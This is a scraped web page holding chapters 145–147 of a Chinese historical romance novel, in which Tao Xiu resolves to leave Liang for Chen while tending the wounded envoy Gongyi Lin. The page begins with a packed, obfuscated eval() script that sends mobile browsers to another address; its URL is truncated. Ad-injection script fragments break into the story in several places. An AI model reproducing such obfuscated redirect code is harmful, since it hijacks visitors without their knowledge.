;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13741785|123338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 右了自己的想法,眼下还是公仪林的性命最要紧。 从案发现场回来的萧宸和萧瑛都已在半亩林等着陶修。陶修到时,面色凝重的萧瑛立即换副平和的态度,起身走来查看他的伤势,说:“出城前我要去看你,见你伏在床边睡了就没有打搅,身子没事吧?” “多谢五叔关心,都是小伤,一群人只有我现在能走能动。” 萧瑛捏捏他的肩欣慰道:“瞧这一身硬骨,看来麟儿没少吃苦啊。再过几日我就要返回基州,走时我想带你同去,还愿跟着五叔吗?” 除掉荆州的兵马,就建在周国边境的基州大概是梁国最后的壁垒,萧瑛肩上的担子无比沉重。 见陶修没有立即回答,萧瑛以为他更愿留在此处安享平静,玩笑着催促道:“你从前答应过的,可不许反悔。而且我听说你在战场上的本领不弱,我身边很缺能打仗的人,尤其你还年轻,五叔我现在就想看见似你和萧兕一样年富力强生机勃勃的年轻人。” 陶修朝萧瑛躬身道:“五叔,多给我几日时间,容我考虑一下。” 萧瑛语气温和,凝视他的双眼,问:“你是不想跟我去基州?你去了,保不准萧兕也会跟你学,兄弟二人都在一处并不会寂寞。” 昨日的暗杀已提醒陶修留在此处的危险,他思考一番,伏身于地对父亲和萧瑛道:“父亲,五叔,萧琢不忠不孝,有个决定在心里早已定下却一直没等到时机开口。今日我就把话跟父亲、叔父言明,至于后果如何,我愿承担。” 萧瑛的脸色比方才更凝重,萧宸陡然收起方外人士才有的随性坐姿,正色问:“你要做什么?” “我已决定回陈国。” 半亩林突然静下来,似是连只啼鸣的鸟儿都没有。 萧宸愠怒,斥问他:“一国世子,要去陈国为官,再视我们为敌,知不知道你在说什么?” “父亲是怕我做了叛国之贼?” “即便不是,你的决定与之何异?” 萧瑛从震惊中恢复过来,劝道:“三哥,先让他说下去。麟儿命运不顺在陈国十六年,三哥想想,这些年那边他就没有惦念的亲人?又有几个有情有义的人能做到斩断一切干净利落只身回来。你所说的背叛一事,不要轻易扣在孩子头上。” 萧宸缓和口气,“你在陈国并未成家,还回去做什么?” 陶修向萧瑛投去感激一眼,跪的老老实实,“父亲是忧惧我在陈国有官职在身,走之前我会在祖宗面前立誓,若我忘恩负义做出对梁不利之事,必受万箭穿心之罚。回去的决定我深思熟虑了很久,我本该悄悄看你和母亲一眼就离开,但实在不忍母亲陷在自责中痛苦。不知我命是不幸还是太幸,两处都有不能弃的亲人,无论怎么选择都无法做到两全,”他抬头望着岳阳王,艰难地说出决定:“我愿放弃这里的一切回到吴郡。” “我们也念你十几年,你忍心离开?你母亲她——” 陶修脑中呈现母亲脆弱疲惫的脸,她可能是他离开此地的最大牵绊,黯然道:“母亲还有萧兕。” 突然一声沉闷响动自身后传来,只见萧蕴嚣张地踹倒花架急掠过来,不由分说,抓住陶修衣襟上去就是一拳。 陶修没躲,坦然受了他这拳,眉头都没皱一下。 萧蕴对打出去的这拳也愣了,盯着右手又愧又悔,但更恨此人刚才那些话,指着他怒道:“若要走,明日就滚。” 145.这颗心都碎了 萧瑛刚要出声斥责,萧蕴就愤愤踢开挡路的花架一瘸一拐冲出半亩林。 “萧兕太没规没矩,连亲哥都敢打。”萧瑛怒对萧宸说:“今后把他交给我,我来治治他的性子。” 他拽起陶修,道:“别跪着说话,把你要说的敞开了讲。”萧瑛看事的角度和萧宸不同,忧心的倒是这个侄儿的性命,对他回陈的理由并不很信,这个理由很浮泛,流于表面,试探着问:“梁、陈若反目成仇,你将会是第一个被他们拿做人质的人,甚至性命不保。” 陶修无法躲开萧瑛深邃的双目,紧抿双唇,质问的眼神直射对方眼底:“今日你在现场发现了什么线索,必定知道是谁要置我于死地,父亲和你打算去找他吗?” 萧瑛身体一僵,顺带脸上也发僵,勉强一笑松动肌肉,问:“你在说什么?”不自觉朝萧宸案几前退几步,好像要捞个同盟来对抗这棘手的局面,本打算和萧宸瞒住他,才提出要带他去基州,原来这孩子都知道。 “我不怪他,更不会有恨,这乱世中谁都有难以推卸的使命和不得已的立场,都想轰轰烈烈干一场,更想结束残酷艰难的乱世。五叔你坚守基州,日复一日站在城楼上想的难道不是冲进周国的城中痛痛快快杀一场?父亲又为何放下兵权甘心交到萧钰手中,难道不是也在期待他有朝一日或许真的能夺回失去的疆土?” 他来回看向两位目瞪口呆的长者,异常冷静,“对于梁国,我也可以是第二个萧钰。” 萧宸撑着案几起身,步伐虚乏,走至陶修跟前,像要重新认识这个孩子,“你都知道了?” “我都知道。” “你活着回来、讲述这多年经历的那天,我就猜到是他在暗中策划了这一切,可为父我没办法替你报仇。你一定在恨我?” “梁国人寡国弱,悬着最后一口气夹缝生存,我跟父亲不能为我报仇一样,我不会杀他,于大局面前我的命不算什么。但是萧钰,要是还有见面的一天,那就是我跟他之间的事情。” 萧宸呐呐,无言以对,觉得亏欠这孩子太多,想弥补,他却坚持要走。 萧瑛正再劝他跟他去基州,突然有大仆远远地禀报:“世子,孙护卫让我通报您一声,公仪公子醒了。” 陶修终于舒展眉头呼出一口气,不等二位长者把话说完就匆匆退出半亩林。他边疾走边问阿八:“他刚醒?医工说至少要睡上三五天,怎会现在就醒?” “公子一醒就要见你,话都说不全,看他神志倒不像是醒的。” 陶修刚跨走进屋里,就见床上的人把手半伸出来等他握上。 一触上陶修暖和有力的手,公仪林挣扎要起,开口就是:“我梦见萧蕴那混蛋打了你,扶我起来,我揍他去,你太仁厚,对谁的侵犯都能包容,我今天一定要揍他。” 这一场沉睡里,公仪林就做了这一个焦心的梦,迫不及待醒来。 “萧兕怎么会打我,他不敢,别太动气。” 陶修安抚他静下后才明白阿八刚才那句话,公仪林根本就没完全醒来。 站在床边的阿八见公子神志都没恢复就担忧起别人,想笑又自责,昨日要是坚持跟着他出城,必不会让他伤到现在的境地。 “阿八,你把窗户推开一扇,要是有风吹进来就把翰墨院的屏风搬过来挡住。”屋中太暗显得暮气沉沉,公仪林一向是意气风发的人,绝不能让他在昏暗的屋内躺着养病。 阿八一一照办。 半醒半迷糊中的公仪林虚弱不堪,强撑意志却还是无法完全睁开眼睛,仅用一根指头来回蹭陶修臂上绑伤的布带,慢慢地问:“是不是只伤了这两处?” 陶修道:“对,伤的最轻的一次。” “我真怕你也倒下了。康乐,你的眼睛给我摸一下。” 陶修府下身贴近他的脸庞,公仪林的手摸过一只眼又碰另一只,还能有力气挤出笑:“你没为我哭?” “没有。” “我都快死了,你哭一次都不行。” 陶修回想起昨夜他腹部的鲜血淋漓,浑身一阵寒战,把他的手紧按在胸口:“养病中不能说晦气话。”脸几乎贴到公仪林耳边低语道:“我虽没哭,这颗心却已碎了。” 公仪林迷糊中闻到自他脖间和身上散发出的温暖气息,一阵舒畅,又踏实地睡过去。 是晚,岳阳王妃又来了一趟,她在门外站了许久,入目的还是清晨时的场景——长子握着陈使的手守在床边,就像坐在床沿一刻都没离开过。 陶修一天一夜未歇,察觉到门外的母亲,猛地睁开沉重的眼皮走出去扶她进屋,看窗外夜色,一弯月正悬在银杏树梢,“时辰应该不早了吧,母亲还没睡?” “至天黑都不见你和兕儿中的任何一人,我过来看看。兕儿在你父亲书房跪了三个多时辰,问他发生了何事,只会拿话哄我。” “他在半亩林踢倒花架被父亲责怪不稳重,一时冲动和父亲顶嘴,父亲就喝命他去书房跪着。” “不对啊,他还写了几百张悔过书,他动手打了谁?” “写了什么?” “‘我不该动手’。” 陶修“哦”一声,自觉好笑,“稍后我也到书房看看他去。” “陈使没醒,你也该好好睡上一觉,照顾病人是件非常劳心费力的事,丫头们说你事事亲力亲为不让她们动手,那你更该多歇歇。” “我不累,他有几次痛迷糊抓扯伤口,只有我能治住。” “你……他……”王妃望望儿子,又瞧瞧床上的人,最终压下心中疑惑,宽慰陶修道:“医工说没有性命之忧,你别太心急。他的身份不一般,我们都想他平平安安健健壮壮地回陈国去。” “是啊。一定会健健壮壮好起来。” “麟儿还记不记得杨静瑗?” 陶修想了片刻,摇首笑问:“与母亲同姓,听着像位姑娘的名字,不知是不是母亲的族人?” “一点都想不起来?她小你一岁,小时候常在影壁后的假山前转着圈跑,哥哥,哥哥的追着你。” “已经不记得了。母亲,我跟你去看看萧兕。” 王妃起身道:“你去看他吧,劝他几句。我也乏了,从他那出来正要回去睡呢,顺道来看看你。”发现最后一句失言,慌忙补上一句:“明天早晨我再过来,有什么想吃的?” “我和萧兕一样口味,他爱吃的我都爱吃。”陶修有点心疼母亲,分离多年,她竭力要弥补缺失的母子之情,却经常在不觉中流露出对萧蕴更多的爱意,她因此自责,显得拘谨和仓惶。 母子俩在小院外分开后,陶修就直奔萧蕴处。 窗户是打开的,屋里点了两盏明灯,不甚明亮,萧蕴正跪在书案前“奋笔疾书”,陶修在外面轻咳一声作势要进来,“母亲说你在这里用功,我过来学学。” 稀里哗啦的收纸声,萧蕴把揉成团的纸搂到怀中,案上放一沓写了“我不该动手”字样的纸,字迹凌乱飞舞,撒性所为。 恰有一个纸团从他怀中滚 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 落在陶修脚边,展开纸张,是另外几个字“打了又如何”。 “真顽劣。”陶修拿起不该动手那张纸问:“父亲让你写的?要跪多久,他都不顾及你的腿伤?” “都要离开这里的人,没资格问我话。” “等我走了,我就不是你哥?” “既然是兄弟,为何要走,还为陈国那帮贼人做事,偌大一个江陵容不下你?” “说自私一点,我是丢不下吴郡的亲人,说高尚一点,”陶修顿住,打哈哈绕过此“高尚”的理由,说:“要跪多久,我陪你跪?” “公仪林痊愈后你们就走?” 陶修未定回程日期,正想着如何回答,哪晓萧蕴跳起来发狠道:“我现在就弄死他。” 陶修勃然色变,迅速又将他按跪下,力气之大,萧蕴挣扎不动,“陈国究竟给了你什么高官厚禄,如此恋恋不舍、忘恩负义。” 陶修脸色阴沉,斥道:“如果你一直以这种口气跟我说话,就没必要再谈下去。你心里委屈不甘尽可以找我出气,但别去找公仪林麻烦,否则我真的不会对你留情。萧兕,这个安乐窝无法长久,你该快些长大。” “明知无法长久,你为何还走?” 昏迷第三天,公仪林彻底醒来,他并不记得期间醒过一次。半靠在柔软的床榻上,舒舒服服看陶修在屋中忙来走去。这一顿剑伤使他精气大损,唇色苍白、说话软弱无力,但不妨碍他话多,不停问陶修一些无关紧要却极能满足其内心的废话,“康乐,我要是死在这里了,你作何打算?” 陶修高高站立床边,一脸严肃:“你真的很傻,命只有一条,你为我挡箭死了,我难过个三五年就忘了痛,可你来一趟人世不易,二十岁不到就殒命,可惜不可惜?” “我愿意,你替我把余下几十年活下去。这几日你都守在我旁边,是否为我哭过?” 又是这个问题,陶修凑近跟前捏他腮颊,好笑地问:“怎么老想着别人为你哭?我没哭,没哭。” “等我好了,就跟我回去吧。” “五叔让我跟他去基州。” 公仪林蜷紧手指,装作漫不经心一问:“你没答应?” “我没答应,我说要回吴郡。” 公仪林闭着眼仰躺在被褥上,露出浅浅一笑,“他们肯定骂你了。你说这人啊,你消失的十几年除了定期给你上香缅怀,显然对他们生活已没有太大牵绊,可你一旦出现,就突然碍着他们事了,控制你、限制你,要你按他们意愿行事,何不老老实实感恩上苍的仁慈,让你随心所欲地活着就行。” 陶修心惊道:“你知道他们说什么?” “想想就知道他们会怎么骂你。怎么这几日都不见萧兕,他不是最爱找我麻烦?” “他对我要走很生气,见我时也不理不睬。” “萧兕这人直爽,什么情绪都直接表露出来,恨时他是真的恨,爱又一点不掺假。你刚来那几天他恨不能杀你,前段时间你们交好我都吃了一惊。” “我母亲还不知我要走。” 二人立时沉默不言,都心知肚明这最难的一关。“看见王妃,我就无来由得觉得心疼,你是她儿子,只会比我的感觉更深切,她身体羸弱,再经不起这个打击了。” “等你好了再说这些,先躺下再睡会。”陶修扶他躺好后刚要出去,公仪林扯住他手问:“假如我死了,你真的难过三五年就把我忘记?” “从前你给我几块盐我都记到现在,你说呢?” 146.他是乐极生悲 那晚发生在昭明王墓前的刺杀一事在城中喧闹一阵子,五六天后就很少有人再提起,岳阳王府更是无人再说起这件事,唯有蒙在鼓中的萧蕴还嚷嚷伤势痊愈后细细追查那件事。 萧瑛离开江陵前往基州时,又去劝说陶修跟他走。 陶修和阿八正监督公仪林在院中锻炼,胡峤依靠在墙根晒着九月还很暖和的太阳,依旧沉默少言,满院只听见公仪反抗不成着急的声音:“医工都叫我多躺躺,你们干嘛还逼我起来走路,这是最后一圈,绝对是最后一圈。” 萧瑛自院门外朗声笑道:“你的不是外伤,为防止内里黏连,必须多走。” 几人拜见过萧瑛后引他进屋内坐,萧瑛道:“天高气爽,就屋外站一站。”关切陈使几句后,他又问陶修:“明日我就走,如果你改变主意,无论何时我都会在基州等你。” 这句承诺令陶修感动内疚,垂首不安:“五叔,我……”这段时间他几次动摇、彷徨,不知站在身后公仪林的分量是否真的足够相抵他在梁国放弃的一切。 “康乐,”公仪林欲言又止,肚子上的伤突然就没了痛感,设身处地陶修的位置,有几人能舍下这里的亲族和权势。 萧瑛从侍卫手中拿过一把剑捧在手心,对陶修道:“萧琢,这是昭明王的剑,此剑随他征战十二年,杀敌饮血、无往不胜,可惜我保留至今日日擦拭养护,却没有机会令其施展本领。今日我将此剑赠你,愿你也没有挥剑的机会。” 愿他与自己多年来不能挥剑杀敌的无奈不同。 陶修跪接宝剑捧于掌中,仰首泪目道:“昭明大宝剑。五叔,我听萧兕说过你和昭明王的事,这是他留给你的东西。” 萧瑛哈哈笑道:“你和昭明王,在我心中分量一样,保管好它。” 剑身修长锋利,在阳光下寒光凛凛,陶修沉重地接了剑,“我也不会让此剑经历任何一场败仗。” 萧瑛长叹一口气道:“梁国从曾经的煌煌大国到今日的日暮途穷,尽人力听天命罢了。” 萧瑛伴随笑声爽朗而来,把此生敬佩之人的遗物交付到最疼爱的人手里后又惬意而去,对陶修的决定没有一句逼迫和阻拦,却对不能为侄儿报仇而心怀愧疚。 公仪林盯着萧瑛悠然离开的挺拔背影,按上陶修发愣的肩,说:“来江陵一趟,我发现我最喜欢的人是这个萧瑛。” “我做此决定,对他们而言,可能我活着还不如死了罢。” “请原谅我的自私。” “不全是你的缘故。” 当晚萧瑛去皇宫的灵云阁陛辞梁主。灵云阁空间很小,放置巨大屏风,几盏昏黄的灯火在屏风后摇曳晃动,梁主的声音幽幽传来,“明日就回去?” “是。再来看看陛下的身体好些了没。” “还是老样子,刚入秋就开始咳嗽气喘。”他连咳几声从屏风后缓缓走出,挥手屏退所有人。 他的背比往年更弯,精神仍旧萎靡无力,这一君一臣虽是兄弟,年纪相差近二十岁,看起来就像隔了两辈。 “陛下该保重好身体。” “你见过那孩子了?” “他已决定回陈国,求陛下能放他一条活路。” 梁主咳嗽一声后,猛吸入一口气,全身这才顺畅,问:“他害怕了?” “他在陛下要杀他之前就已做好的决定,不是因为怕了,他根本无意这里虚无缥缈的权势。就算他留下来,对萧钰的计划也没有任何威胁,萧琢从未想过找萧钰报仇。” “岳阳王知道这些?” “他猜到了。” “他倒真的超然物外了。当年麟儿死亡的消息传到宫中,我痛心疾首,麟儿还在我面前承诺要把我带回建康,结果食言了。可是,萧钰的想法何尝不是我的意愿。岳阳王不愿百姓再有战乱,更不想穷兵黩武,又不肯交出兵权,萧钰只能走另一条路。” 当年,萧钰不知用哪般的豪言壮语打动了他,他在千疮百孔任人鱼肉的国家里,也想找一条生存的路,他接受了萧钰的计划,也默许了萧钰杀侄夺权的计划。对他而言,做谁的附庸之国都是一样的,三十年前,六万百姓被周国俘虏至关中,从此江陵一蹶不振仿若一座空城。站在城中最高的楼上,大地的一片苍凉和萧条尽收眼底,城内残垣断壁,城外满目疮痍。那一刻他泪流满面,扶剑的手垂于身侧,残破的国压得他再也没有直起脊梁。 萧瑛面无表情,声音沉重又暗哑:“萧钰他连自己侄儿的命都能残害,还有什么他做不出的。即便我守在基州与周相抗,但岳阳王当年所期盼的我永远在坚持。古往今来,没有不败之家,无不亡之国,”他长叹一口气,毅然开口道:“大哥,梁国缩在这大江一角气数已尽,人力已无可挽回。你不见周国一日强似一日,而我们连施展的疆域都没有。让百姓好好活着。” “一年一年过去,我渐渐改变初衷,开始觉得岳阳王可能是我们兄弟几个中最清醒的人。” “陛下为何还对麟儿下手。” “总有一股不甘啊,不甘为人臣,不甘对他们称王。” “那孩子改变不了大势,他的生与死,都改变不了我们的命运。” 桌角的一盏油灯因油耗尽而灭了,一缕轻烟盘绕在两人中间,屋内又暗了许多,梁主起身道:“回去吧,该怎么做我清楚。” 第二日萧瑛走时,陶修与他在昭明王的墓前分别。萧瑛搂着侄儿,拍拍他结实的后背,忍着离别的悲痛,几乎哽咽:“不知此生还能不能再见。也知足了,你还活着,这就足够了。” “来日方长,我定会去基州探望五叔。” “对,但愿还有重逢日。” 萧瑛跨上马背,逆风而去,头上的巾帻飘逸灵动,绛色披风在远山的绿意中明亮显眼,他像吴带当风的画中人出现在众人面前,又融入一幅如黛的远山中渐渐缩小至消失。 后来萧瑛战死的消息传至陶修耳中,他跪在船上隔空祭拜,眺望江面哀伤整整一日,后悔这次仓促的分别没好好记住萧瑛的模样。 * * * 大概是公仪林的伤好的太快,萧蕴察觉到陶修即将要走的气息,他开始低头服软,一日要来这间宿客的小院三五趟,带着本地的特产和稀罕物“讨好”陶修,但与公仪林的关系还是一点就燃。 尤其他无意中听见陈使叫了声陶修“哥哥”,不禁怒火填胸,当场发飙,二人唇枪口舌战了半天,最终是萧蕴胜了,他嗤道:“我管你和萧琢认识多久又经历过什么,只一条,我和他流一样的血,这声‘哥’轮不到你来叫。” 公仪林被逼急了话跟话冲他,脱口而出: (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “血脉相同就了不起?我跟你哥,我跟你哥……” 正在象棋博弈的阿八和胡峤虎躯一震,阿八伸长耳朵,胡峤也收起万事不关己的态度,皆屏气凝息等着二公子冲动后的暴露。 陶修对公仪林和萧蕴的争吵早就习以为常,能不干预就不干预,反正谁都伤害不了谁,一闻此言,忽坐直睁大双眼。 谁都没等到好戏,公仪林咬紧后牙槽忍住了,吐出均匀的不跟他计较的气息,却邪恶的祸水东引:“管的挺多。你哥在吴郡的妹妹人美嘴甜,何止叫哥哥,他这么多年不知多疼她。不信你问他,是你重要还是陶小妹重要。” 陶修一跃而起朝公仪林扑去,冲他大骂一句:“你个不嫌事大的混蛋。”鉴于他伤势未痊愈,陶修虽把他从胡凳上扑倒在地却不敢用力,仅捂着他嘴说:“我把你这张嘴封起来,挑拨我们兄弟关系是吧?” 萧蕴见陶修为他出手,大为满足,哈哈笑道:“算了,算了,哥哥饶了他吧。” “真要饶他?你确定?”陶修认真的问他。 “放了他。”萧蕴笑得很开心,笑着笑着,两颊渐渐变酸变涩,脸上趋于平静,转而为悲,突然站起身一声不响就走小院。 公仪林还躺在地上,侧着头看他颀长的背影消失在门外,对陶修叹口气说:“这就是所谓‘乐极生悲’。” 女人天生细腻的感觉让岳阳王妃产生一种长子和陈使关系非同一般的感觉。那二人从小一起长大两小无猜,照顾伤患时又必须频繁的肢体接触,表面上看起来很正常,但王妃隐隐觉得不对劲,陈使受伤的第一日,长子紧握他的手寸步不离守在床边的情形在她脑中挥之不去,猜疑之后就多了一份心,很快也做出行动,几次出其不意出现在宿客小院留心观察,果然抓住的现场次次都没令她失望。 第一件事,自公仪林醒来能吃东西开始,王妃每日都亲自下厨煮不同的养生汤光顾小院,这次是鸡枞炖鸡。恰逢公仪林能从床上坐起来,指着厚重的屏风说:“挪开吧,多日未出屋,我想看看外面景致透透气。” 陶修问他:“我扶你去窗前坐会?” “我不想走,要不你抱我?” “行吧,弱者抚之以仁。” 他抱了!! 王妃看在眼中,心惊肉跳,真匪夷所思的动作和对话。 第二件事,岳阳王妃还是在站在门外。立在窗前的屏风由东西方位摆放被转成南北放置。屏风后的二人席地而坐,拿两把剑凑在一起叽叽呱呱,陈使说:“你得了昭明剑后好像不稀罕这把林修剑了,是不是嫌弃赠剑人?” 陶修当即套用萧瑛的话:“你和五叔在我心中分量一样。” 陈使并不满意这个回答,拔出剑对另外一人道:“拔剑吧!” “真到了拔剑相向的地步?” “若林修赢了昭明,就说明我比萧瑛重要。” 二人坐在地上拔剑逗趣,顽童似的乒乒乓乓斗了几个回合,最后陈使兴奋地大叫一声:“果然还是我重要。” 两人投在屏风上的影子虚虚实实、若隐若现,像两只打架的雀儿,又像没出月不敢走太远的任性的小狗。 岳阳王妃拿手遮面,一颗心被这看似玩笑的对话惊的扑棱棱的跳。 第三件事,就完全证实了王妃的猜想。 147.我是你的靶子 那日,杨静瑗来了。 萧蕴一脸看好戏的模样出现在宿客小院,对睡眼惺忪还没爬起来的二人说:“你们昨晚做贼了,起这么晚?杨大姑娘要来了,你赶紧起!” 还好陶修早就提防他从不敲门的坏毛病,没敢跟公仪林挤在一张床上。早晨的凉意已清冷入肌,他一壁穿衣一壁问:“杨大姑娘是谁?” 把屋内转了一圈的萧蕴吃惊道:“连她你都不记得?不记得也正常,小时候你们拢共就见过几次。你口口声声说要娶她的人。” 陶修喷出漱口水呛了几声,公仪林顿觉浑身有劲,掀开被子利利索索坐起,“杨大姑娘是谁?”二人异口同声。 “你有的是时间回想回想杨静瑗,否则以她的性子,非闹得你鸡犬不宁,反正我是怕她,她一年来两回我躲两回。” 萧蕴撒下一颗“阴毒”的种子就溜之大吉。 突来的威胁吓得公仪林浑身不痛、腿脚麻利,急吼吼道:“快给我穿衣,今日天气好,我觉得非常适合我在府中各处走走。” 焦虑的等待中,陶修从母亲那打听到杨大姑娘的来历,从她提起的几件旧事里模模糊糊还能记得此人,至于萧蕴所说的娃娃亲绝对是子虚乌有,不过是幼年闹着玩的话。 杨静瑗,他母亲同族兄弟家的女儿,长得漂亮还落落大方。见面时,陶修才知母亲口中这落落大方几个字大有讲究。 杨静瑗骑马而来,一身男子打扮,利落干脆,高绑在颅顶的简单发髻使其多了几分风流潇洒劲,她来的风风火火,声音很大,礼数周到地见过长辈后才把目光转向陶修,动情的流下一片眼泪,哽咽着喊声:“哥哥。” 萧蕴“噫”一声转头就走,萧琢这“哥哥”还真不值钱,这么多人抢着叫,他不稀罕。 “静瑗妹妹。”陶修无不感慨,印象里还是一匝高的小孩,突然成了大姑娘站在面前,像换了个人,令他生疏又紧张。 “那日听到你回来的消息,我哭了一天,还找到这个——”静瑗擦掉眼泪在袖中摸索一阵,众人的目光就追随着她的手里里外外上上下下的动,终于,她摸出一个褪色的小鼓,堵在陶修耳边当啷当啷转动几下,破涕为笑问:“记得这个吗?” 听母亲说,他和她小时候在府里的假山旁玩藏闷闷、玩你追我赶,天真烂漫的童音和拨浪鼓的声音在假山旁盘旋了十几年。 每回静瑗来这里看望姑母,就驻足在假山前想起一年淡似一年的记忆。 陶修接过小破鼓,也在她耳边咚咚回旋几下,尽量装作还能记得这些小事,问:“是我送你的吧?” “是你从杨微子手里抢来的,他一直盯着我们要,直到你,直到你不见了。” 静瑗突然伸出双手,捏着陶修的双耳,大声笑问:“你以前说要娶我的啊,为何不早一年出现?” 听到这里,公仪林也“噫”一声拔腿就出来了。他在半亩林碰到依靠在石头上假寐的萧蕴,那人闭着双目、翘起腿悠闲惬意,不等公仪林走近就先发问:“这里没人,不怕我把你弄死丢到松柏林去?” 公仪林捂着肚子,腰还不能完全直起,找了块平坦的石头坐下,“经你这一提醒,我才发现我没去过松柏林,趁这当儿带我去瞧瞧?” 萧蕴睨视过来,坐正了说:“我发现你对萧琢很上心。松柏林早不是他失踪时的模样,大坑被填了,据说里面还埋着两颗玩忽职守的小仆的人头。” “如果没有这些事,他跟里面的杨姑娘可能早就成婚了。” “有可能,杨大姑娘可是萧琢他亲口说要娶的人,就萧琢那温吞性子,杨大姑娘正配他,一个老气横秋,一个上蹿下跳,正好一对。” 公仪林从他语气里倒听出几分愤愤不平,经这句话提醒,电光火石间,当即想起那盒胭脂,看来是这位杨姑娘的东西。 “你脸色这么难看,是不是要死了?”萧蕴踢踢他。 公仪林只恨自己伤好的太慢,杨大姑娘早点来或晚点来都行,偏偏赶在他走路都吃劲时来,一时还真没精力去想对策。 “他们哪里配,从没见过姑娘家又调皮又——”又什么,恐怕他再说出一个词来就准是夸她,黑点丑点都行,可杨大姑娘又高又白又端庄,就像大一号的武平公主,挑不出任何缺点,憋了半天接着说:“又高!见面就说‘你以前说要娶我的’,成何体统。” “她确实任性,我那表舅六个儿子一个闺女,这天下还不尽着她造,我很烦她,我这脸算是给她掐大的,回回来都掐,还不能奈何了她。” “说得如此委屈,你的威名哪去了,不拿出来整治她,难怪你这脸白里透红的,原来是女人掐的红印。” “你少取笑。” 正说这,陶修和杨静瑗也来了半亩林。 这姓杨的姑娘一身火辣的红装,腰插还没解下的马鞭,唇红齿白,细眉长目,面如桃花,是个英气的美人。公仪林觉得她腰间的马鞭和萧蕴是一个风格,外人一看,他们倒像亲姐弟俩。 “萧兕,半年不见了吧,刚才扫一圈没找着你人,躲这里来?” 萧蕴老老实实站起来走到杨静瑗跟前恭敬行礼问好:“表姐,多日不见。” 杨静瑗揉了把他的头,柔嫩的手慢慢滑至他脸颊上,熟稔地掐了一把点头笑道:“个头比上次见长了。听说前段时间你也伤了,给我瞧瞧。”说罢,毫不避讳撸起萧蕴的衣袖,在他愈合的刀疤处摩挲几次。 操,公仪林从萧蕴又绒又红的耳朵上发现一个不得了的大秘密,果然一物降一物,伶牙俐齿的小子在洒脱率性的长姐面前就蔫了。 “请问这位像病猫的人是谁?”杨静瑗盯着公仪林问,“你缩成这样,很冷吗?” 公仪林艰难地从石头上爬起来,心道:问,问,问我就是你大哥! 陶修正要热络的互相介绍,公仪林冷哼一声站他前面:“我会说话。” 四个年轻人坐一起,嘴全长在了杨静瑗身上,眼前几个男人对她来说都有挖不完的问题,丢失多年的哥哥、来自异国的使者,还有一个从小像影子似的跟在她身后的弟弟。她爽朗地指着他们:“一个一个来,等我慢慢问。” 陶修给她讲了几件兵营的趣事,诸如操训时猪一样在泥里打滚、白溜溜大澡堂的‘一锅饺子’,汉子们竞赛似的呼噜声,杨姑娘托着下巴听得新奇。 轮到公仪林时,杨静瑗问二答一,问五答三,陶修只得替他回答。 “陈国为何派你这个哑巴来做事?挺像一只刚冬眠过的熊。我从没出过江陵,江左美人多,那英俊的男子多不多?” 公仪林此时正缩肩勾背,面色蜡黄,漫不经心答她:“最英俊的就坐在你跟前。” 杨静瑗嫌弃地对他皱皱眉头:“那也不过如此,瞧我这兄弟——”她勾过萧蕴的肩膀炫耀道:“模样万里挑一,性子温和敦厚,能文能武。” 陶修不住点头,很赞同她的话,只有公仪林不屑地笑笑,萧蕴他也配得上温和敦厚? “当然我这位萧麟哥哥更不比萧兕差。”杨静瑗随和大方,迅速与陶修重接断了多年的情谊,夸起人又直接又不令人难堪。 “这倒是实话。”公仪林又阴阴的道一句。 杨静瑗问过数个问题后,目光转向萧蕴:“萧兕,我出阁那天你为何不去?我在屋中等了你许久,险些错过吉时。” 要说这句话是平地惊雷也不为过,炸的几个人目瞪口呆、面耳赤红。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 萧蕴侧首不答,拼命蹂躏脚下几株入秋后命运不会长久的杂草,倔着脸把目光投向高墙之外,“不爱去。” “唉,可惜了,我的哥哥们膀大腰圆,我一直在等你给我送亲,路上好让他们看看我这精致的兄弟。” 原来已嫁为人妇了? 这姓杨的成婚了也不把发盘起来,险些酿成大祸,公仪林心里畅快不少,这会看她哪里都顺眼,腆着脸问:“原来杨姑娘年纪轻轻已嫁了人。你对江左还有好奇的事没,有问必答,若是方便,等我回去就把京师好玩的值钱的东西都运些到你府上。美人多啊,哪怕看不见真人我也把画了美人的画卷多捎几幅来,你刚才提到山,紫金山、清凉山、钟山磅礴雄伟百看不厌。我恨不得现在就能携杨姑娘把建康看个遍。杨姑娘怎么就成婚了,何时成的婚,和我这位哥哥的缘分如此浅薄……” 他还欲往下说,瞧见萧蕴一言难尽的脸,只得委婉地收了话题:“姑娘这平易近人的性子,真令在下感动。” 杨静瑗怎么瞧此人都不正常,刚才还冷若冰霜,现在话匣子打开了又语无伦次,温声劝慰道:“陈使还需继续服药。” 几人坐一起东南西北扯了一堆话题,聊乏味时就叫上阿八来半亩林射箭,为了好划分队伍,他们又叫上年纪大了一轮的胡峤。 萧蕴和阿八、胡峤一组,这队伍刚分出来萧蕴就失去夺胜的信心,不满阿八与己同伍,嚷着重新分配,“他不行。” “你敢说我带来的人不行?最厉害的人在你队中你怎么不说?”公仪林道。 陶修同意跟阿八交换队伍,才令双方的水平达到萧蕴眼中的势均力敌。 射箭就那几种花样,对准靶心“嗖嗖嗖”,除了杨静瑗水平低点,哪个都是身经百战的。正式拉弓开射时,没想到胡峤也能拖后腿。 第一轮陶修组的胡峤勉强射中靶子,萧蕴问:“你都不会射,怎么不吭声?” 胡峤道:“是你硬要我凑数的,也没说一定要会的人才能玩。” 公仪林组的杨静瑗连靶子都没中。这点距离要射中靶心对另外四人来说全不在话下,几轮之后就都乏味了。人菜胆大的杨静瑗提议道:“来玩点冒险的,在头上搁橘子,看谁射中橘子的次数多。” 